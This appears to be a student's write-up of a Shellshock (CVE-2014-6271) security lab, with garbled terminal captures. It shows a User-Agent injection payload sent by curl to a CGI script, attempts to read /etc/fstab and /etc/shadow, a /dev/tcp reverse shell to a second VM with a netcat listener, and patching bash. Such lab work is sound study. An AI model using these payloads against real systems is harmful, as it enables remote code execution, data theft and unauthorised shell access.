Shellshock Lab Experiment:

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Task 1: Experimenting with Bash Function :


Part 1. We know that /bin/bash_shellshock is the vulnerable version, so we export foo and try to see if it can echo "extra". Since it does, we have verified that it is vulnerable. Part 2. Similarly, we try the same for /bin/bash, and notice that this extra isn't given as an output so we verify that it isn't vulnerable.

```
Terminal
                                                t En (1)) 2:03 AM 以
    [09/30/18]seed@VM:/bin$ cd ...
    [09/30/18]seed@VM:/$ foo='() { echo "hello world"; };ec
    ho "extra" ;
    [09/30/18]seed@VM:/$ echo $foo
     () { echo "hello world"; };echo "extra" ;
    [09/30/18]seed@VM:/$ export foo
    [09/30/18]seed@VM:/$ bash shellshock
    extra
    [09/30/18]seed@VM:/$
                                                t En 4)) 2:03 AM 費
    [09/30/18]seed@VM:/bin$ cd ...
    [09/30/18]seed@VM:/$ foo='() { echo "hello world"; };ec
    ho "extra" ;
     [09/30/18]seed@VM:/$ echo $foo
    () { echo "hello world"; };echo "extra" ;
    [09/30/18]seed@VM:/$ export foo
    [09/30/18]seed@VM:/$ bash shellshock
    extra
    [09/30/18]seed@VM:/$ bash
    [09/30/18]seed@VM:/$
```

Task 2: Setting up CGI programs :

Part 1. We type the given code in the abc.cgi file here and try to see if http requests can be made via the curl.

If executed, we know that we can run web server and attack from same computer.




Task 3: Passing Data to Bash via Environment Variable

We make another cgi file and try to see if data an be passed via environment variables.

To ensure we have succeeded we use strings /proc/\$\$/environ

We know that for any shellshock attack to get successful, bash needs to get triggered. So for this apache service is needed so that it creates a child process and executes the bash. As you can see in the ouput, "*****ENV VAR****" has been echoed.



Task 4: Launching the Shellshock Attack


First,we will see if a simple /bin/ls -I command can be executed. If it does, it means shellshock attack has been triggered and successful. For the same purpose,we again use curl command.

The -A is to set the user agent field of a request


```
REMOTE_ADDR=127.0.0.1

OCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/abc1.cgi
REMOTE_PORT=58908
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/cgi-bin/abc1.cgi
SCRIPT_NAME=/cgi-bin/abc1.cgi
* Connection #0 to host localhost left intact
[10/01/18]seed@VM:.../cgi-bin$ curl -A " () { echo hell o;} echo Content_type: text/plain;echo;/bin/ls -l" htt p://localhost/cgi-bin/abc1.cgi
total 8
-rwxr-xr-x 1 seed seed 87 Oct 1 14:28 abc.cgi
-rwxr-xr-x 1 seed seed 117 Oct 1 14:33 abc1.cgi
[10/01/18]seed@VM:.../cgi-bin$
[10/01/18]seed@VM:.../cgi-bin$
```

Now we will try to steal data from /etc/fstab file. In the scrrenshot shown below, you may see that we can see the contents of the /etc/fstab file via curl command so we have successfully stolen data.



Now, when we try the same command on an /etc/shadow file, we see no output. Because its a file that stores all local account information and all passwords. And it is only readable by root.



Task 5: Getting a Reverse Shell via Shellshock Attack

Or this purpose we set up two VMs, one is the attacker and the other is the victim. For reverse shell,we will launch an attack from the attacker VM and if the connection is successful, we get a reverse shell access in the victim machine. For this purpose, we set the promiscuous mode in network to "all VMs". We find the ip of both the machines via ipconfig and set an connection between the two. If the ping gets successful, we can successfully conduct the exploit.

We use the netcat or nc command to listen to the port 8080.

```
hello.cgi MyProg.cgi
[10/01/18]seed@VM:.../cgi-bin$ rm MyProg.cgi
rm: cannot remove 'MyProg.cgi': Permission denied
[10/01/18]seed@VM:.../cgi-bin$ sudo rm MyProg.cgi
[10/01/18]seed@VM:.../cgi-bin$ ls
hello.cgi
[10/01/18]seed@VM:.../cgi-bin$ cd
[10/01/18]seed@VM:~$ cd Desktop
[10/01/18]seed@VM:~/Desktop$ ls
badfile
                 call shellcode.c
                                     exploit.c
bash
                 CVE-2014-6271.diff
                                     MyProg.cgi
bash-4.2
                 dash shell test
                                     peda-session-sta
ck.txt
bash shellshock dash shell test.c
                                     stack
call shellcode
                exploit
                                     stack.c
[10/01/18]seed@VM:~/Desktop$ cd
[10/01/18]seed@VM:~$ /bin/bash shellshock -i > /dev/t
cp/10.0.2.5/8080
bash: connect: No route to host
bash: /dev/tcp/10.0.2.5/8080: No route to host
[10/01/18]seed@VM:~$ /bin/bash shellshock -i > /dev/t
cp/10.0.2.7/8080
bash: connect: Connection refused
bash: /dev/tcp/10.0.2.7/8080: Connection refused
[10/01/18]seed@VM:~$ /bin/bash shellshock -i > /dev/t
cp/10.0.2.7/8080
[10/01/18]seed@VM:~$ ls -l
[10/01/18]seed@VM:~$
```

```
🔞 🖨 📵 Terminal
[10/01/18]seed@VM:~$ nc -l 8080 -v
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [10.0.2.6] port 8080 [tcp/http-alt] ac
cepted (family 2, sport 55414)
total 92
drwxrwxr-x 4 seed seed 4096 May 1 00:35 android
-rwxrwxr-x 1 seed seed 7348 Sep 7 13:19 a.out
drwxrwxr-x 3 seed seed 4096 Sep 24 18:55 bin
drwxrwxr-x 2 seed seed 4096 Jan 14
                                    2018 Customization
drwxr-xr-x 3 seed seed 4096 Oct
                                 1 04:01 Desktop
drwxr-xr-x 2 seed seed 4096 Jul 25
                                    2017 Documents
drwxr-xr-x 2 seed seed 4096 Sep 30 00:09 Downloads
-rw-rw-r-- 1 seed seed
                       132 Sep
                                 7 13:18 example.c
-rw-r--r-- 1 seed seed 8980 Jul 25
                                    2017 examples.desk
top
drwxrwxr-x 2 seed seed 4096 Sep 17 21:01 labcode
drwxrwxr-x 3 seed seed 4096 May
                                 9 00:33 lib
drwxr-xr-x 2 seed seed 4096 Jul 25
                                    2017 Music
drwxr-xr-x 3 seed seed 4096 Sep 30 04:03 Pictures
                        129 Sep 15 14:31 prog.c
-rw-rw-r-- 1 seed seed
drwxr-xr-x 2 seed seed 4096 Jul 25
                                    2017 Public
drwxrwxr-x 4 seed seed 4096 May
                                 9 00:35 source
drwxr-xr-x 2 seed seed 4096 Jul 25
                                    2017 Templates
```

Task 6: Using the Patched Bash

We use the diff file as a patch for our reverse shell. Earlier before the patch was applied, for the variable.c, a function could only be passed if the () was present. The major modification that the patch does is, after it is used, it doesn't view the () as a function anymore.

```
call_shellcode peda-session-stack.txt

call_shellcode.c stack

CVE-2014-6271.diff stack.c

[09/30/18]seed@VM:~/Desktop$ gedit CVE-2014-6271.diff

[09/30/18]seed@VM:~/Desktop$ patch -p0 < CVE-2014-6271.diff

patching file bash-4.2/builtins/common.h

patching file bash-4.2/builtins/evalstring.c

patching file bash-4.2/variables.c

[09/30/18]seed@VM:~/Desktop$ cd bash-4.2/

[09/30/18]seed@VM:~/.../bash-4.2$ ./configure

checking build system type... i686-pc-linux-gnu

checking host system type... i686-pc-linux-gnu

Beginning configuration for bash-4.2-release for i686-pc-linux-gnu
```

```
patching file bash-4.2/builtins/common.h
patching file bash-4.2/builtins/evalstring.c
patching file bash-4.2/variables.c
[09/30/18]seed@WM:-/Desktop$ cd bash-4.2/
[09/30/18]seed@WM:-/L../bash-4.2$ ./configure
checking build system type... i686-pc-linux-gnu
checking host system type... i686-pc-linux-gnu
Beginning configuration for bash-4.2-release for i686-pc-linux-gnu

checking for gcc... gcc
checking for Compiler default output file name... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking of suffix of executables...
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking of or gcp option to accept ISO C89... none needed
checking for strerror in -lcposix... no
checking for grep that handles long lines and -e... /bin/grep
checking for ANSI C header files... yes
checking for sys/types.h... yes
checking for sys/types.h... yes
checking for sys/types.h... yes
checking for string.h... yes
checking for strings.h... yes
checking for inttypes.h... yes
checking for inttypes.h... yes
checking for inttypes.h... yes
checking for intypes.h... yes
```